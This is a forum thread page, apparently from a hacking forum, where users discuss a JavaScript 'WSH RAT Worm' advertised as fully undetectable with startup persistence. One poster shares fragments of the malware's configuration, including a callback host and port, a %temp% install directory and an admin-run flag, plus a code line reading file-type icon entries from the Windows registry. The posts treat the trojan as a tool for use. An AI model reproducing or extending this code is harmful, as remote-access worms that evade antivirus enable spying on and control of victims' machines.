Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 filter_list
Author
Message
RE: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 #8
(05-16-2020, 07:06 PM)hellboydz Wrote:
(05-16-2020, 04:26 PM)mothered Wrote:
(05-16-2020, 04:18 PM)hellboydz Wrote: Let me explain it

Please do.

//=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

var host = "192.168.168.248";
var port = 1330;
var installdir = "%temp%"; // store in temp if you something change it easy becuase open source
var runAsAdmin = false; // this is will be not run as administrator when start


here : try{fileicon = shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\." + file.name.split(".")[file.name.split(".").length - 1]+ "\\") + "\\defaulticon\\"); }catch(eeee){}

did you see here its config

Nice.

Appreciate your time to provide the details.
[Image: AD83g1A.png]

Reply





Messages In This Thread
RE: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 - by mothered - 05-17-2020, 03:26 AM